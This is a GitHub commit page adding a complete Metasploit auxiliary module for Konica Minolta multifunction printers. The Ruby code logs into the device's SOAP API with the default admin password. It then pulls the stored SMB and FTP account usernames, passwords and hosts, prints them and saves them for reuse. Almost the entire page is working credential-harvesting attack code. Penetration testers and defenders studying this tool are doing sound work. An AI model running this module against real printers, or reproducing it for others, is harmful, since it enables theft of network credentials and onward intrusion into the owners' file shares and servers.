Skip to content

Commit 4257fef

Browse files
committed
Land rapid7#4101 - Konica MFP FTP and SMB credential gathering module
2 parents 1f4d62a + 0887127 commit 4257fef

File tree

1 file changed

+258
-0
lines changed

1 file changed

+258
-0
lines changed
Lines changed: 258 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,258 @@
1+
#
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Konica Minolta Password Extractor',
17+
'Description' => %q(
18+
This module will extract FTP and SMB account usernames and passwords
19+
from Konica Minolta mfp devices. Tested models include: C224, C280,
20+
283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ),
21+
'Author' =>
22+
[
23+
'Deral "Percentx" Heiland',
24+
'Pete "Bokojan" Arzamendi'
25+
],
26+
'License' => MSF_LICENSE
27+
))
28+
29+
register_options(
30+
[
31+
Opt::RPORT('50001'),
32+
OptString.new('USER', [false, 'The default Admin user', 'Admin']),
33+
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
34+
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
35+
36+
], self.class)
37+
end
38+
39+
# Creates the XML data to be sent that will extract AuthKey
40+
def generate_authkey_request_xlm(major, minor)
41+
user = datastore['USER']
42+
passwd = datastore['PASSWD']
43+
Nokogiri::XML::Builder.new do |xml|
44+
xml.send('SOAP-ENV:Envelope',
45+
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
46+
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
47+
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
48+
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
49+
xml.send('SOAP-ENV:Header'){
50+
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
51+
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
52+
xml.send('UserName', 'xmlns' => '') { xml.text '' }
53+
xml.send('Password', 'xmlns' => '') { xml.text '' }
54+
xml.send('Version', 'xmlns' => ''){
55+
xml.send('Major') { xml.text "#{major}" }
56+
xml.send('Minor') { xml.text "#{minor}" }
57+
}
58+
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
59+
}
60+
}
61+
xml.send('SOAP-ENV:Body') {
62+
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
63+
xml.send('OperatorInfo'){
64+
xml.send('UserType') { xml.text "#{user}" }
65+
xml.send('Password') { xml.text "#{passwd}" }
66+
}
67+
xml.send('TimeOut') { xml.text '60' }
68+
}
69+
}
70+
}
71+
end
72+
end
73+
74+
# Create XML data that will be sent to extract SMB and FTP passwords from device
75+
def generate_pwd_request_xlm(major, minor, authkey)
76+
Nokogiri::XML::Builder.new do |xml|
77+
xml.send('SOAP-ENV:Envelope',
78+
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
79+
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
80+
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
81+
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
82+
xml.send('SOAP-ENV:Header'){
83+
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
84+
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
85+
xml.send('UserName', 'xmlns' => '') { xml.text '' }
86+
xml.send('Password', 'xmlns' => '') { xml.text '' }
87+
xml.send('Version', 'xmlns' => ''){
88+
xml.send('Major') { xml.text "#{major}" }
89+
xml.send('Minor') { xml.text "#{minor}" }
90+
}
91+
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
92+
}
93+
}
94+
xml.send('SOAP-ENV:Body'){
95+
xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
96+
xml.send('OperatorInfo'){
97+
xml.send('AuthKey') { xml.text "#{authkey}" }
98+
}
99+
xml.send('AbbrListCondition'){
100+
xml.send('SearchKey') { xml.text 'None' }
101+
xml.send('WellUse') { xml.text 'false' }
102+
xml.send('ObtainCondition'){
103+
xml.send('Type') { xml.text 'OffsetList' }
104+
xml.send('OffsetRange'){
105+
xml.send('Start') { xml.text '1' }
106+
xml.send('Length') { xml.text '100' }
107+
}
108+
}
109+
xml.send('BackUp') { xml.text 'true' }
110+
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
111+
}
112+
}
113+
}
114+
}
115+
end
116+
end
117+
118+
# This next section will post the XML soap messages for information gathering.
119+
def run_host(ip)
120+
print_status("Attempting to extract username and password from the host at #{peer}")
121+
version
122+
end
123+
124+
# Validate XML Major Minor version
125+
def version
126+
response = send_request_cgi(
127+
{
128+
'uri' => '/',
129+
'method' => 'POST',
130+
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
131+
}, datastore['TIMEOUT'].to_i)
132+
if response.nil?
133+
print_error("#{peer} - No reponse from device")
134+
return
135+
else
136+
xml0_body = ::Nokogiri::XML(response.body)
137+
major_parse = xml0_body.xpath('//Major').text
138+
minor_parse = xml0_body.xpath('//Minor').text
139+
major = ("#{major_parse}")
140+
minor = ("#{minor_parse}")
141+
login(major, minor)
142+
end
143+
144+
rescue ::Rex::ConnectionError
145+
print_error("#{peer} - Version check Connection failed.")
146+
end
147+
148+
# This section logs on and retrieves AuthKey token
149+
def login(major, minor)
150+
authreq_xml = generate_authkey_request_xlm(major, minor)
151+
# Send post request with crafted XML to login and retreive AuthKey
152+
begin
153+
response = send_request_cgi(
154+
{
155+
'uri' => '/',
156+
'method' => 'POST',
157+
'data' => authreq_xml.to_xml
158+
}, datastore['TIMEOUT'].to_i)
159+
if response.nil?
160+
print_error("#{peer} - No reponse from device")
161+
return
162+
else
163+
xml1_body = ::Nokogiri::XML(response.body)
164+
authkey_parse = xml1_body.xpath('//AuthKey').text
165+
authkey = ("#{authkey_parse}")
166+
extract(major, minor, authkey)
167+
end
168+
rescue ::Rex::ConnectionError
169+
print_error("#{peer} - Login Connection failed.")
170+
end
171+
end
172+
173+
# This section post xml soap message that will extract usernames and passwords
174+
def extract(major, minor, authkey)
175+
if (authkey != '')
176+
# create xml request to extract user credintial settings
177+
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
178+
# Send post request with crafted XML as data
179+
begin
180+
response = send_request_cgi(
181+
{
182+
'uri' => '/',
183+
'method' => 'POST',
184+
'data' => smbreq_xml.to_xml
185+
}, datastore['TIMEOUT'].to_i)
186+
if response.nil?
187+
print_error("#{peer} - No reponse from device")
188+
return
189+
else
190+
xml2_body = ::Nokogiri::XML(response.body)
191+
@smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
192+
@smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
193+
@smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
194+
@ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
195+
@ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
196+
@ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
197+
@ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
198+
end
199+
end
200+
i = 0
201+
# output SMB data
202+
@smb_user.each do
203+
shost = "#{@smb_host[i]}"
204+
sname = "#{@smb_user[i]}"
205+
sword = "#{@smb_pass[i]}"
206+
print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
207+
register_creds('smb', shost, '139', sname, sword)
208+
i += 1
209+
end
210+
i = 0
211+
# output FTP data
212+
@ftp_user.each do
213+
fhost = "#{@ftp_host[i]}"
214+
fname = "#{@ftp_user[i]}"
215+
fword = "#{@ftp_pass[i]}"
216+
fport = "#{@ftp_port[i]}"
217+
print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
218+
register_creds('ftp', fhost, fport, fname, fword)
219+
i += 1
220+
end
221+
222+
else
223+
print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
224+
return
225+
end
226+
end
227+
228+
def register_creds(service_name, remote_host, remote_port, username, password)
229+
credential_data = {
230+
origin_type: :service,
231+
module_fullname: self.fullname,
232+
workspace_id: myworkspace.id,
233+
private_data: password,
234+
private_type: :password,
235+
username: username
236+
}
237+
238+
service_data = {
239+
address: remote_host,
240+
port: remote_port,
241+
service_name: service_name,
242+
protocol: 'tcp',
243+
workspace_id: myworkspace_id
244+
}
245+
246+
credential_data.merge!(service_data)
247+
credential_core = create_credential(credential_data)
248+
249+
login_data = {
250+
core: credential_core,
251+
status: Metasploit::Model::Login::Status::UNTRIED,
252+
workspace_id: myworkspace_id
253+
}
254+
255+
login_data.merge!(service_data)
256+
create_credential_login(login_data)
257+
end
258+
end

0 commit comments

Comments
 (0)